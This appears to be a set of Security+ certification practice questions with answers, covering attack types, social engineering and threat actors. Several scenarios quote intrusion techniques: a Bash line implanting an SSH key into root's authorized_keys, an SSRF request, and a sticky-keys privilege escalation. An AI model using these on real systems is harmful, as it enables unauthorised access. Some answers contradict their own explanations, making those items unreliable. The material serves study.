John is a network administrator for Acme Company. He has discovered that someone has registered a domain name that is spelled just one letter different than his company's domain. The website with the misspelled URL is a phishing site. What best describes this attack? A. Session hijacking B. Cross-site request forgery C. Typo squatting D. Clickjacking

C. This is a classic example of typo squatting. The website is off by only one or two letters; the attacker hopes that users of the real website mistype the URL and are taken to their fake website. Session hijacking is taking over an authenticated session. Cross-site request forgery sends fake requests to a website that purport to be from a trusted, authenticated user. Clickjacking attempts to trick users into clicking on something other than what they intended.

Susan wants to reduce the likelihood of successful credential harvesting attacks via her organization's commercial websites. Which of the following is not a common prevention method aimed at stopping credential harvesting? A. Use of multifactor authentication B. User awareness training C. Use of complex usernames D. Limiting or preventing use of third-party web scripts and plugins

C. Username complexity has no impact in credential harvesting. Multifactor authentication can help prevent successful credential harvesting by ensuring that even capture of username and password is not enough to compromise the account. Awareness training helps to reduce the likelihood of credential exposure, and limiting or preventing use of third-party web scripts makes websites less likely to have credentials stolen through the use of those scripts, plug-ins, or modules.

What term is used to describe mapping wireless networks while driving? A. Wi-driving B. Traffic testing C. War driving D. CARINT

C. When dial-up modems were in heavy use, hackers would conduct war dialing exercises to call many phone numbers to find modems that would answer. When wireless networks became the norm, the same type of language was used, leading to terms like war walking, war driving, and even war flying. The rest of the options were made up, but you should remember that the Security+ exam expects you to know about war driving and war flying.

You are responsible for software testing at Acme Corporation. You want to check all software for bugs that might be used by an attacker to gain entrance into the software or your network. You have discovered a web application that would allow a user to attempt to put a 64-bit value into a 4-byte integer variable. What is this type of flaw? A. Memory overflow B. Buffer overflow C. Variable overflow D. Integer overflow

D. Placing a larger integer value into a smaller integer variable is an integer overflow. Memory overflow is not a term used, and memory leak is about allocating memory and not deallocating it. Buffer overflows often involve arrays. Variable overflow is not a term used in the industry.

What is the root cause of improper input handling? A. Improper error handling B. Trusting rather than validating data inputs C. Lack of user awareness D. Improper source code review

B. Trusting rather than validating user input is the root cause of improper input handling. All input should be considered potentially malicious and thus treated as untrusted. Appropriate filtering, validation, and testing should be performed to ensure that only valid data input is accepted and processed.

What type of attack targets a specific group of users by infecting one or more websites that that group is specifically known to visit frequently? A. A watercooler attack B. A phishing net attack C. A watering hole attack D. A phish pond attack

C. Watering hole attacks target groups by focusing on common shared behaviors like visiting specific websites. If attackers can compromise the site or deliver targeted attacks through it, they can then target that group. Watercooler, phishing net, and phish pond attacks were all made up for this question.

What term describes the use of airplanes or drones to gather network or other information as part of a penetration test or intelligence gathering operation? A. Droning B. Air Snarfing C. War flying D. Aerial snooping

C. You may be familiar with the term war driving, but war flying is increasingly common as drones have entered wide use. Although penetration testers are somewhat unlikely to fly a helicopter or airplane over a target site, inexpensive drones can provide useful insight into both physical security and wireless network coverage if equipped with the right hardware. Droning and aerial snooping were made up for this question, and Air Snarf is an old tool for capturing usernames and passwords on vulnerable wireless networks.

An email arrives telling Gurvinder that there is a limited time to act to get a software package for free and that the first 50 downloads will not have to be paid for. What social engineering principle is being used against him? A. Scarcity B. Intimidation C. Authority D. Consensus

A. Attackers are attempting to influence Gurvinder with a combination of scarcity and urgency. Thus, for this question you should answer scarcity since urgency is not listed. In many social engineering principle questions, more than one of the principles may be in play, and you will need to answer with the principle that is correct or more correct for the question. In this case, there is no intimidation or claim to authority, and consensus would require some form of validation from others.

Which of the following is commonly used in a distributed denial-of-service (DDoS) attack? A. Phishing B. Adware C. Botnet D. Trojan

C. Botnets are often used to launch DDoS attacks, with the attack coming from all the computers in the botnet simultaneously. Phishing attacks attempt to get the user to give up information, click on a link, or open an attachment. Adware consists of unwanted pop-up ads. A Trojan horse attaches malware to a legitimate program.

Which of the following best describes a zero-day vulnerability? A. A vulnerability that the vendor is not yet aware of B. A vulnerability that has not yet been breached C. A vulnerability that can be quickly exploited (i.e., in zero days) D. A vulnerability that will give the attacker brief access (i.e., zero days)

A. A zero-day exploit or attack occurs before the vendor has knowledge of it. The remainder of the answers don't accurately describe a zero-day attack—just because it has not yet been breached does not make it a zero-day, nor is a zero-day necessarily quickly exploitable. Finally, a zero-day attack does not specify how long the attacker may have access.

Where does the information for predictive analysis for threat intelligence come from? A. Current security trends B. Large security datasets C. Behavior patterns D. All of the above

D. Predictive analysis tools use large volumes of data, including information about security trends and threats, large security datasets from various security tools and other sources, and behavior patterns, to predict and identify malicious and suspicious behavior.

Jared has discovered malware on the workstations of several users. This particular malware provides administrative privileges for the workstation to an external hacker. What best describes this malware? A. Trojan horse B. Logic bomb C. Multipartite virus D. Rootkit

D. Rootkits provide administrative access to systems, thus the "root" in rootkit. A Trojan horse combines malware with a legitimate program. A logic bomb performs its malicious activity when some condition is met. A multipartite virus infects the boot sector and a file.

What threat hunting concept involves thinking like a malicious actor to help identify indicators of compromise that might otherwise be hidden? A. Intelligence fusion B. Maneuver C. Threat feed analysis D. Bulletin analysis

B. CompTIA defines "maneuver" in the context of threat hunting as how to think like a malicious user to help you identify potential indicators of compromise in your environment. Outside of the Security+ exam, this is not a commonly used term in normal security practice, although it does make an appearance in military usage. Since this term is not common outside of the Security+ exam, make sure you understand the CompTIA definition. Intelligence fusion adds multiple intelligence sources together, threat feeds are used to provide information about threats, and advisories and bulletins are often combined with threat feeds to understand new attacks, vulnerabilities, and other threat information.

Angela has discovered an attack against some of the users of her website that leverage URL parameters and cookies to make legitimate users perform unwanted actions. What type of attack has she most likely discovered? A. SQL injection B. Cross-site request forgery C. LDAP injection D. Cross-site scripting

B. Cross-site request forgery (XSRF or CSRF) takes advantage of the cookies and URL parameters legitimate sites use to help track and serve their visitors. In an XSRF or a CSRF attack, attackers leverage authorized, authenticated users' rights by providing them with a cookie or session data that will be read and processed when they visit the target site. An attacker may embed a link within an email or other location that will be clicked or executed by the user or an automated process with that user's session already open. This is not SQL injection, which would attempt to send commands to a database, or LDAP injection, which gathers data from a directory server. Cross-site scripting (XSS) would embed code in usersubmittable data fields that a website will display to other users, causing it to run.

What type of malicious actor will typically have the least amount of resources available to them? A. Nation-states B. Script kiddies C. Hacktivists D. Organized crime

B. Script kiddies are the least resourced of the common threat actors listed above. In general, they flow from national state actors as the most highly resourced, to organized crime, to hacktivists, to inside actors, and then to script kiddies as the least capable and least resourced actors. As with any scale like this, there is room for some variability between specific actors, but for the exam, you should track them in that order.

If Frank were still operating in his on-site infrastructure, which of the following technologies would provide the most insight into what type of attack he was seeing? A. A firewall B. An IPS C. A vulnerability scanner D. Antimalware software

B. The most useful data is likely to come from an IPS, or intrusion prevention system. He will be able to determine if the attack is a denial-of-service (DoS) attack, and the IPS may be able to help him determine the source of the denial-of-service attack. A firewall might provide some useful information but would only show whether or not traffic was allowed and would not analyze the traffic for attack information. A vulnerability scanner would indicate if there was an issue with his application or the server, but it would not identify this type of attack. Antimalware software can help find malware on the system but isn't effective against a DoS attack.

The organization that Mike works in finds that one of their domains is directing traffic to a competitor's website. When Mike checks, the domain information has been changed, including the contact and other administrative details for the domain. If the domain had not expired, what has most likely occurred? A. DNS hijacking B. An on-path attack C. Domain hijacking D. A zero-day attack

C. Domain hijacking, or domain theft, occurs when the registration or other information for the domain is changed without the original registrant's permission. This may occur because of a compromised account or due to a breach of the domain registrar's security. A common issue is a lapsed domain being purchased by a third party, and this can look like a hijacked domain, but it is a legitimate occurrence if the domain is not renewed! DNS hijacking inserts false information into a DNS server, on-path (man-in-the-middle) attacks capture or modify traffic by causing the traffic to pass through a compromised midpoint, and zero-day attacks are attacks that use an unknown until used vulnerability

Ahmed has discovered that attackers spoofed IP addresses to cause them to resolve to a different hardware address. The manipulation has changed the tables maintained by the default gateway for the local network, causing data destined for one specific MAC address to now be routed elsewhere. What type of attack is this? A. ARP poisoning B. DNS poisoning C. On-path attack D. Backdoor

A. Address Resolution Protocol (ARP) poisoning, often called ARP spoofing, occurs when an attacker sends malicious ARP packets to the default gateway of a local area network, causing it to change the mappings it maintains between hardware (MAC) addresses and IP addresses. In DNS poisoning, domain name to IP address entries in a DNS server are altered. This attack did not involve an on-path attack. A backdoor provides access to the attacker, which circumvents normal authentication.

You are a security administrator for Acme Corporation. You have discovered malware on some of your company's machines. This malware seems to intercept calls from the web browser to libraries, and then manipulates the browser calls. What type of attack is this? A. Man in the browser B. On-path attack C. Buffer overflow D. Session hijacking

A. In a man-in-the-browser attack, the malware intercepts calls from the browser to the system, such as system libraries. On-path attack involves having some process between the two ends of communication in order to compromise passwords or cryptography keys. In a buffer overflow attack, more data is put into a variable than the variable was intended to hold. Session hijacking involves taking over an authenticated session.

Security orchestration, automation, and response (SOAR) tools have three major components. Which of the following is not one of those components? A. Source code security analysis and testing B. Threat and vulnerability management C. Security incident response D. Security operations automation

A. SOAR tools, like security information and event management (SIEM) tools, are highly focused on security operations. They include threat and vulnerability management, security incident response, and security operations and automation tools, but they do not provide source code analysis and testing tools.

Susan performs a vulnerability scan of a small business network and discovers that the organization's consumer-grade wireless router has a vulnerability in its web server. What issue should she address in her findings? A. Firmware patch management B. Default configuration issues C. An unsecured administrative account D. Weak encryption settings

A. Software updates for consumer-grade wireless routers are typically applied as firmware updates, and Susan should recommend that the business owner regularly upgrade their wireless router firmware. If updates are not available, they may need to purchase a new router that will continue to receive updates and configure it appropriately. This is not a default configuration issue nor an unsecured administrative account—neither is mentioned, nor is encryption

Rick believes that Windows systems in his organization are being targeted by fileless viruses. If he wants to capture artifacts of their infection process, which of the following options is most likely to provide him with a view into what they are doing? A. Reviewing full-disk images of infected machines B. Turning on PowerShell logging C. Disabling the administrative user account D. Analyzing Windows crash dump files

B. Fileless viruses often take advantage of PowerShell to perform actions once they have used a vulnerability in a browser or browser plug-in to inject themselves into system memory. Rick's best option from the list provided is to enable PowerShell logging and then to review the logs on systems he believes are infected. Since fileless viruses don't use files, an image of the disk is unlikely to provide much useful data. Disabling the administrative user won't have an impact, since the compromise will happen inside the account of whichever user is logged in and impacted by the malware. Crash dump files could have artifacts of the fileless virus if the machine crashed while it was active, but unless that occurs they will not have that information.

Jim discovers a physical device attached to a gas pump's credit card reader. What type of attack has he likely discovered? A. A replay attack B. A race condition C. A skimmer D. A card cloner

C. Jim has discovered a skimmer, a device used for skimming attacks that capture credit and debit card information. Skimmers may be able to wirelessly upload the information they capture, or they may require attackers to retrieve data in person. Some skimmers include cameras to capture keypresses for PINs and other data. A replay attack would reuse credentials or other information to act like a legitimate user, a race condition occurs when the time of use and time of check of data can be exploited, and a card cloner would be used after cards were skimmed to duplicate them.

Kathleen's IPS flags traffic from two IP addresses as shown here: Source IP: 10.11.94.111 http://example.com/home/show.php?SESSIONID=a3fghbby Source IP: 192.168.5.34 http://example.com/home/show.php?SESSIONID=a3fghbby What type of attack should she investigate this as? A. A SQL injection attack B. A cross-site scripting attack C. A session replay attack D. A server-side request forgery attack

C. Session IDs should be unique for distinct users and systems. A very basic type of session replay attack involves providing a victim with a session ID and then using that session ID once they have used the link and authenticated themselves. Protections such as session timeouts and encrypting session data, as well as encoding the source IP, hostname, or other identifying information in the session key, can all help prevent session replay attacks.

While reviewing auth logs on a server that she maintains, Megan notices the following log entries: Apr 26 20:01:32 examplesys rshd[6101]: Connection from 10.0.2.15 on illegal port Apr 26 20:01:48 examplesys rshd[6117]: Connection from 10.0.2.15 on illegal port Apr 26 20:02:02 examplesys rshd[6167]: Connection from 10.0.2.15 on illegal port Apr 26 20:02:09 examplesys rshd[6170]: Connection from 10.0.2.15 on illegal port Apr 26 20:02:09 examplesys rshd[6172]: Connection from 10.0.2.15 on illegal port Apr 26 20:02:35 examplesys rshd[6188]: Connection from 10.0.2.15 on illegal port Apr 26 20:02:35 examplesys rlogind[6189]: Connection from 10.0.2.15 on illegal port What has she most likely detected? A. A successful hacking attempt B. A failed service startup C. A vulnerability scan D. A system reboot

C. Vulnerability scans and port scans can often be detected in logs by looking for a series of ports being connected to. In this case, the log was created by scanning a system with an OpenVAS scanner. There is no indication of a successful login or other hacking attempt, and a service startup would show in the messages lo

Nathan discovers the following code in the directory of a compromised user. What language is it using, and what will it do? echo "ssh-rsa ABBAB4KAE9sdafAK...Mq/jc5YLfnAnbFDRABMhuWzaWUp root@localhost" >> /root/.ssh/authorized_keys A. Python, adds an authorized SSH key B. Bash, connects to another system using an SSH key C. Python, connects to another system using an SSH key D. Bash, adds an authorized SSH key

D. You will need to be able to read and understand basic scripts and programs in multiple languages for the Security+ exam. In this example, you can recognize common Bash syntax and see that it is adding a key to the authorized keys file for root. If that's not an expected script, you should be worried!

What are the two most common goals of invoice scams? A. Receiving money or acquiring credentials B. Acquiring credentials or delivering a rootkit C. Receiving money or stealing cryptocurrency D. Acquiring credentials or delivering ransomware

A. Invoice scams typically either send legitimate appearing invoices to trick an organization into paying the fake invoice, or they focus on tricking employees into logging into a fake site to allow the acquisition of credentials. They typically do not focus on delivery of malware or stealing cryptocurrency

After running nmap against a system on a network, Lucca sees that TCP port 23 is open and a service is running on it. What issue should he identify? A. Low ports should not be open to the Internet. B. Telnet is an insecure protocol. C. SSH is an insecure protocol. D. Ports 1-1024 are well-known ports and must be firewalled.

B. TCP port 23 is typically associated with Telnet, an unencrypted remote shell protocol. Since Telnet sends its authentication and other traffic in the clear (clear/plain text), it should not be used, and Lucca should identify this as a configuration issue involving an insecure protocol

John is responsible for physical security at a large manufacturing plant. Employees all use a smartcard in order to open the front door and enter the facility. Which of the following is a common way attackers would circumvent this system? A. Phishing B. Tailgating C. Spoofing the smartcard D. RFID spoofing

B. Tailgating involves simply following a legitimate user through the door once they have opened it, and it is a common means of exploiting a smartcard-based entry access system. It is simpler and usually easier than attempting to capture and clone a card. Phishing is unrelated to physical security. Although it is possible to generate a fake smartcard, it is a very uncommon attack. RFID spoofing can be accomplished but requires access to a valid RFID card and is relatively uncommon as well.

Sarah is reviewing the logs for her web server and sees an entry flagged for review that includes the following HTTP request: CheckinstockAPI=http://localhost/admin.php What type of attack is most likely being attempted? A. A cross-site scripting attack B. Server-side request forgery C. Client-side request forgery D. SQL injection

B. This is an attempt to get the server to send a request to itself as part of an API call, and it is an example of server-side request forgery. A cross-site scripting attack would use the victim's browser rather than a server-side request, as would a CSRF attack.

Mahmoud is responsible for managing security at a large university. He has just performed a threat analysis for the network, and based on past incidents and studies of similar networks, he has determined that the most prevalent threat to his network is low-skilled attackers who wish to breach the system, simply to prove they can or for some low-level crime, such as changing a grade. Which term best describes this type of attacker? A. Hacktivist B. Amateur C. Insider D. Script kiddie

D. The term for low-skilled hackers is script kiddie. Script kiddies typically use prebuilt tools and do not have the expertise to make or modify their own tools. Nothing indicates this is being done for ideological reasons, and thus that a hacktivist is involved. Although "Amateur" may be an appropriate description, the correct term is script kiddie. Finally, nothing in this scenario indicates an insider threat.

You work for a security company that performs penetration testing for clients. You are conducting a test of an e-commerce company. You discover that after compromising the web server, you can use the web server to launch a second attack into the company's internal network. What best describes this? A. Internal attack B. Known environment testing C. Unknown environment testing D. A pivot

D. A pivot occurs when you exploit one machine and use that as a basis to attack other systems. Pivoting can be done from internal or external tests. White- and black-box testing describes the amount of information the tester is given in advance, not how the tester performs the test.

What type of attack uses a second wireless access point (WAP) that broadcasts the same SSID as a legitimate access point, in an attempt to get users to connect to the attacker's WAP? A. Evil twin B. IP spoofing C. Trojan horse D. Privilege escalation

A. Evil twin attacks use a malicious access point configured to appear to be identical to a legitimate AP. Attackers wait for their targets to connect via the evil twin, and can then capture or modify traffic however they wish. IP spoofing uses the IP address of a system already on the network, Trojan horses are malware that appear to be legitimate software or files, and privilege escalation is the process of using exploits to gain higher privileges.

What type of information is phishing not commonly intended to acquire? A. Passwords B. Email addresses C. Credit card numbers D. Personal information

B. Phishing is not commonly used to acquire email addresses. Phishing emails target personal information and sensitive information like passwords and credit card numbers in most cases

When phishing attacks are so focused that they target a specific high-ranking or important individual, they are called what? A. Spear phishing B. Targeted phishing C. Phishing D. Whaling

D. Whaling is targeting a specific individual who is important in the organization like the president or chief financial officer (CFO). Spear phishing targets specific individuals or groups, but whaling is more specific in terms of the importance of the individuals involved. Targeted phishing is not a term used in the industry. Phishing is the generic term for a wide range of related attacks, and you should choose the most accurate answer for questions like this.

Daryl is investigating a recent breach of his company's web server. The attacker used sophisticated techniques and then defaced the website, leaving messages that were denouncing the company's public policies. He and his team are trying to determine the type of actor who most likely committed the breach. Based on the information provided, who was the most likely threat actor? A. A script B. A nation-state C. Organized crime D. Hacktivists

D. The fact that the website is defaced in a manner related to the company's public indicates that the attackers were most likely engaging in hacktivism to make a political or belief-based point. Scripts, nation-state actors, and organized crime don't account for the statements adverse to the company's policies, which is why hacktivism is the real cause.

Chris wants to detect a potential insider threat using his security information and event management (SIEM) system. What capability best matches his needs? A. Reviewing reports B. Packet capture C. Sentiment analysis D. Log collection and analysis

D. User behavior analysis is a key capability when attempting to detect potential insider threats. Chris can use his SIEM's behavioral analysis capabilities to detect improper or illicit use of rights and privileges as well as abnormal behavior on the part of his users. Sentiment analysis helps analyze feelings, and log aggregation and security monitoring provide ways to gain insight into the overall security posture and status of the organization.

The company that Scott works for has experienced a data breach, and the personal information of thousands of customers has been exposed. Which of the following impact categories is not a concern as described in this scenario? A. Financial B. Reputation C. Availability loss D. Data loss

C. This description does not include any risk to availability since there is no information about systems or services being down or offline. This scenario would likely result in reputational, financial, and data loss impacts for Scott's company.

While investigating a malware outbreak on your company network, you discover something very odd. There is a file that has the same name as a Windows system DLL, and it even has the same API interface, but it handles input very differently, in a manner to help compromise the system, and it appears that applications have been attaching to this file, rather than the real system DLL. What best describes this? A. Shimming B. Trojan horse C. Backdoor D. Refactoring

A. Shimming is when the attacker places some malware between an application and some other file and intercepts the communication to that file (usually to a library or system API). In many cases, this is done with a driver for a hardware component. A Trojan horse might be used to get the shim onto the system, but that is not described in this scenario. A backdoor is a means to circumvent system authorization and get direct access to the system. Refactoring is the process of changing names of variables, functions, and so forth in a program.

Dennis uses an on-path attack to cause a system to send HTTPS traffic to his system and then forwards it to the actual server the traffic is intended for. What type of password attack can he conduct with the data he gathers if he captures all the traffic from a login form? A. A plain-text password attack B. A pass-the-hash attack C. A SQL injection attack D. A cross-site scripting attack

A. Since Dennis is able to view the web traffic before it is sent to the actual server, he should be able to conduct a plain-text password attack by intercepting the password. Pass-the-hash attacks are typically used inside Windows environments, SQL injection would attack the server, and cross-site scripting is possible but not as likely as the plain-text password attack in this scenario.

Cynthia is concerned about attacks against an application programming interface (API) that her company provides for its customers. What should she recommend to ensure that the API is only used by customers who have paid for the service? A. Require authentication. B. Install and configure a firewall. C. Filter by IP address. D. Install and use an IPS.

A. The simplest way to ensure that APIs are only used by legitimate users is to require the use of authentication. API keys are one of the most frequently used methods for this. If an API key is lost or stolen, the key can be invalidated and reissued, and since API keys can be matched to usage, Cynthia's company can also bill customers based on their usage patterns if they want to. A firewall or IP restrictions may be able to help, but they can be fragile; customer IP addresses may change. An intrusion prevention system (IPS) can detect and prevent attacks, but legitimate usage would be hard to tell from those who are not customers using an IPS.

What type of attack exploits the trust that a website has for an authenticated user to attack that website by spoofing requests from the trusted user? A. Cross-site scripting B. Cross-site request forgery C. Bluejacking D. Evil twin

B. Cross-site request forgery (XSRF or CSRF) sends fake requests to a website that purport to be from a trusted, authenticated user. Cross-site scripting (XSS) exploits the trust the user has for the website and embeds scripts into that website. Bluejacking is a Bluetooth attack. Nothing in this scenario requires or describes an evil twin, which is an attack that uses a malicious access point that duplicates a legitimate AP.

John is conducting a penetration test of a client's network. He is currently gathering information from sources such as archive.org, netcraft.com, social media, and information websites. What best describes this stage? A. Active reconnaissance B. Passive reconnaissance C. Initial exploitation D. Pivot

B. Passive reconnaissance is any reconnaissance that is done without actually connecting to the target. In this case, John is conducting a form of OSINT, or open source intelligence, by using commonly available third-party information sources to gather information about his target. Active reconnaissance involves communicating with the target network, such as doing a port scan. The initial exploitation is not information gathering; it is actually breaking into the target network. A pivot is when you have breached one system and use that to move to another system.

Juanita is a network administrator for Acme Company. Some users complain that they keep getting dropped from the network. When Juanita checks the logs for the wireless access point (WAP), she finds that a deauthentication packet has been sent to the WAP from the users' IP addresses. What seems to be happening here? A. Problem with users' Wi-Fi configuration B. Disassociation attack C. Session hijacking D. Backdoor attack

B. This an example of a disassociation attack. The deauthentication packet causes Juanita's system to disassociate, and the attacker can then execute a second attack targeting her authentication credentials or other wireless data using an evil twin attack. Misconfiguration won't cause authenticated users to deauthenticate. Session hijacking involves taking over an authenticated session. Backdoors are built-in methods to circumvent authentication

Users are complaining that they cannot connect to the wireless network. You discover that the WAPs are being subjected to a wireless attack designed to block their Wi-Fi signals. Which of the following is the best label for this attack? A. IV attack B. Jamming C. WPS attack D. Botnet

B. This describes a jamming attack, where legitimate traffic is interfered with by another signal. Jamming can be intentional or unintentional and may be intermittent. IV attacks are obscure cryptographic attacks on stream ciphers. Wi-Fi protected setup (WPS) uses a PIN to connect to the wireless access point (WAP). The WPS attack attempts to intercept that PIN in transmission, connect to the WAP, and then steal the WPA2 password. A botnet is a group of machines that are being used, without their consent, as part of an attack.

What type of security team establishes the rules of engagement for a cybersecurity exercise? A. Blue team B. White team C. Purple team D. Red team

B. White teams act as judges and observers during cybersecurity exercises. Blue teams act as defenders, red teams act as attackers, and purple teams are composed of both blue and red team members to combine attack and defense knowledge to improve organizational security.

Tracy is concerned that the software she wants to download may not be trustworthy, so she searches for it and finds many postings claiming that the software is legitimate. If she installs the software and later discovers it is malicious and that malicious actors have planted those reviews, what principle of social engineering have they used? A. Scarcity B. Familiarity C. Consensus D. Trust

C. Consensus, sometimes called social proof, is a social engineering principle that leverages the fact that people are often willing to trust groups of other people. Here, the attackers have planted false information that the software is trustworthy, thus allowing targets to "prove" to themselves that they can safely install the software. Scarcity uses a perception that something may not be available or is uncommon and thus desirable. Familiarity takes advantage of the trust that individuals put into people and organizations they are already familiar with. Trustbased attacks exploit a perception of trustworthiness.

Greg wants to gain admission to a network which is protected by a network access control (NAC) system that recognized the hardware address of systems. How can he bypass this protection? A. Spoof a legitimate IP address. B. Conduct a denial-of-service attack against the NAC system. C. Use MAC cloning to clone a legitimate MAC address. D. None of the above

C. Greg can clone a legitimate Media Access Control (MAC) address if he can identify one on the network. This can be as easy as checking for a MAC label on some devices or by capturing traffic on the network if he can physically access it.

There are seven impact categories that you need to know for the Security+ exam. Which of the following is not one of them? A. Data breaches B. Data modification C. Data exfiltration D. Data loss

B. The Security+ exam outline lists seven major impact categories, including data loss, data breaches, and data exfiltration. Data modification is not listed, but it is a concern as part of the integrity leg of the CIA triad.

What is the most significant difference between cloud service-based and on-premises vulnerabilities? A. Your ability to remediate it yourself B. The severity of the vulnerability C. The time required to remediate D. Your responsibility for compromised data

A. Vulnerabilities in cloud services require work on the part of the cloud service provider to remediate them. You can remediate most vulnerabilities in your own infrastructure yourself without a third party. Vulnerabilities in cloud services and local infrastructure can both be as severe and take as much time to remediate. Regardless of where your organization stores its data, your responsibility for it is likely the same!

John is analyzing a recent malware infection on his company network. He discovers malware that can spread rapidly via vulnerable network services and does not require any interaction from the user. What best describes this malware? A. Worm B. Virus C. Logic bomb D. Trojan horse

A. Worms spread themselves via vulnerabilities, making this an example of a worm. A virus is software that self-replicates. A logic bomb executes its malicious activity when some condition is met. A Trojan horse combines malware with a legitimate program.

A SYN flood seeks to overwhelm a system by tying up all the open sessions that it can create. What type of attack is this? A. A DDoS B. A resource exhaustion attack C. An application exploit D. A vulnerability exploit

B. A SYN flood is a type of resource exhaustion attack and uses up all available sessions on the system it is aimed at. Although a SYN flood can be a DDoS, no mention was made of multiple source machines for the attack. No application was mentioned, and a SYN flood targets the TCP/IP stack on the system rather than an application. No vulnerability was mentioned, and none is required for a SYN flood, since it simply tries to overwhelm the target's ability to handle the opened connections. Protections against SYN floods tend to focus on preventing opened connections from causing resource exhaustion and identifying and blocking abusive hosts.

Fred uses a Tor proxy to browse for sites as part of his threat intelligence. What term is frequently used to describe this part of the Internet? A. Through the looking glass B. The dark web C. The underweb D. Onion-space

B. Although it may sound dramatic, sites accessible via Tor or other tools that separate them from the rest of the Internet are sometimes called "the dark web." The Security+ exam uses this term, so you need to be aware of it for the exam. The rest of the options were made up and may be almost as silly as calling a section of the Internet the dark web.

A user in your company reports that she received a call from someone claiming to be from the company technical support team. The caller stated that there was a virus spreading through the company and they needed immediate access to the employee's computer to stop it from being infected. What social-engineering principles did the caller use to try to trick the employee? A. Urgency and intimidation B. Urgency and authority C. Authority and trust D. Intimidation and authority

B. Claiming to be from tech support is claiming authority, and the story the caller gave indicates urgency. Yes, this caller used urgency (the virus spread) but did not attempt intimidation. Authority and trust are closely related, and in this case urgency was the second major factor. This caller used urgency but not intimidation.

Rick runs WPScan against a potentially vulnerable WordPress installation. WPScan is a web application security scanner designed specifically for WordPress sites. As part of the scan results, he notices the following entry: What should Rick do after remediating this vulnerability? A. Install a web application firewall. B. Review the patching and updating process for the WordPress system. C. Search for other compromised systems. D. Review IPS logs for attacks against the vulnerable plug-in.

B. Once this issue is remediated, Rick should investigate why the system was running a plug-in from 2007. In many cases, when you discover a vulnerable component like this it indicates a deeper issue that exists in the organization or processes for system and application maintenance. Installing a web application firewall (WAF) or reviewing intrusion prevention system (IPS) logs may be useful if Rick thinks there are ongoing attacks or that successful attacks have occurred, but the problem does not state anything about that. There is no indication of compromise, merely a completely outdated plug-in version in the problem. If you want a sample system with vulnerable plug-ins like this to test, you can download the 2015 release of the Open Web Application Security Project (OWASP) broken web applications virtual machine. It has a wide range of completely out-of-date applications and services to practice against.

During a penetration test, Cameron gains physical access to a Windows system and uses a system repair disk to copy cmd.exe to the %systemroot%\system32 directory while renaming it sethc.exe. When the system boots, he is able to log in as an unprivileged user, hit the Shift key five times, and open a command prompt with system-level access using sticky keys. What type of attack has he conducted? A. A Trojan attack B. A privilege escalation attack C. A denial-of-service attack D. A swapfile attack

B. Privilege escalation attacks focus on gaining additional privileges. In this case, Cameron used physical access to the system to modify it, allowing him to then conduct a privilege escalation attack as an unprivileged user. A Trojan would have required a file to act like it was desirable, a denial-of-service attack would have prevented access to a system or service, and swapfiles (or pagefiles) are drive space used to contain the contents of memory when memory runs low. Swapfiles may contain sensitive data, but the term swapfile attack is not commonly used.

Direct access, wireless, email, supply chain, social media, removable media, and cloud are all examples of what? A. Threat intelligence sources B. Threat vectors C. Attributes of threat actors D. Vulnerabilities

B. The Security+ exam outline specifically lists these items as threat vectors. Although there are many others, you should be familiar with direct access, wireless, email, supply chain, social media, removable media, and cloud as vectors for the exam.

Users in your company report someone has been calling their extension and claiming to be doing a survey for a large vendor. Based on the questions asked in the survey, you suspect that this is a scam to elicit information from your company's employees. What best describes this? A. Spear phishing B. Vishing C. War dialing D. Robocalling

B. This is vishing, or using voice calls for phishing. Spear phishing is targeting a small, specific group. War dialing is dialing numbers hoping a computer modem answers. Robocalling is used to place unsolicited telemarketing calls.

Angela reviews bulletins and advisories to determine what threats her organization is likely to face. What type of activity is this associated with? A. Incident response B. Threat hunting C. Penetration testing D. Vulnerability scanning

B. Threat hunting can involve a variety of activities such as intelligence fusion, combining multiple data sources and threat feeds, and reviewing advisories and bulletins to remain aware of the threat environment for your organization or industry.

Which of the following type of testing uses an automated process of proactively identifying vulnerabilities of the computing systems present on a network? A. Security audit B. Vulnerability scanning C. A known environment test D. An unknown environment test

B. Vulnerability scans use automated and semiautomated processes to identify known vulnerabilities. Audits usually involve document checks. Unknown and known environment testing are both types of penetration tests.

Tracy is concerned about LDAP injection attacks against her directory server. Which of the following is not a common technique to prevent LDAP injection attacks? A. Secure configuration of LDAP B. User input validation C. LDAP query parameterization D. Output filtering rules

C. Although Structured Query Language (SQL) queries are often parameterized, Lightweight Directory Access Protocol (LDAP) security practices focus instead on user input validation and filtering of output to ensure that an excessive amount of data is not being returned in queries. As with all services, securely configuring LDAP services is one of the first protections that should be put in place

What type of attack is an SSL stripping attack? A. A brute-force attack B. A Trojan attack C. An on-path attack D. A downgrade attack

C. An SSL stripping attack requires attackers to persuade a victim to send traffic through them via HTTP while continuing to send HTTPS encrypted traffic to the legitimate server by pretending to be the victim. This is not a brute-force attack, a Trojan attack would require malware, and a downgrade attack would try to move the encrypted session to a less secure encryption protocol.

Ben runs a vulnerability scan using up-to-date definitions for a system that he knows has a vulnerability in the version of Apache that it is running. The vulnerability scan does not show that issue when he reviews the report. What has Ben encountered? A. A silent patch B. A missing vulnerability update C. A false negative D. A false positive

C. A false negative occurs with a vulnerability scanning system when a scan is run and an issue that exists is not identified. This can be because of a configuration option, a firewall, or other security setting or because the vulnerability scanner is otherwise unable to detect the issue. A missing vulnerability update might be a concern if the problem did not specifically state that the definitions are fully up-to-date. Unless the vulnerability is so new that there is no definition, a missing update shouldn't be the issue. Silent patching refers to a patching technique that does not show messages to users that a patch is occurring. A false positive would have caused a vulnerability to show that was not actually there. This sometimes happens when a patch or fix is installed but the application does not change in a way that shows the change.

What can Frank do to determine if he is suffering from a denial-of-service (DoS) attack against his cloud hosting environment? A. Nothing; cloud services do not provide security tools. B. Call the cloud service provider to have them stop the DoS attack. C. Review the cloud service provider's security tools and enable logging and anti-DoS tools if they exist. D. Call the cloud service provider's Internet service provider (ISP) and ask them to enable DoS prevention.

C. Frank's best option is to review the anti-denial-of-service and other security tools that his cloud hosting provider provides, and to make appropriate use of them. The major infrastructure as a service (IaaS) providers have a variety of security tools that can help both detect and prevent DoS attacks from taking down sites that are hosted in their infrastructure. Calling the cloud service provider's ISP will not work because the ISP works with the cloud provider, not with Frank! It is possible the cloud service provider might be able to assist Frank, but they are most likely to instruct him to use the existing tools that they already provide.

Why are memory leaks a potential security issue? A. They can expose sensitive data. B. They can allow attackers to inject code via the leak. C. They can cause crashes D. None of the above

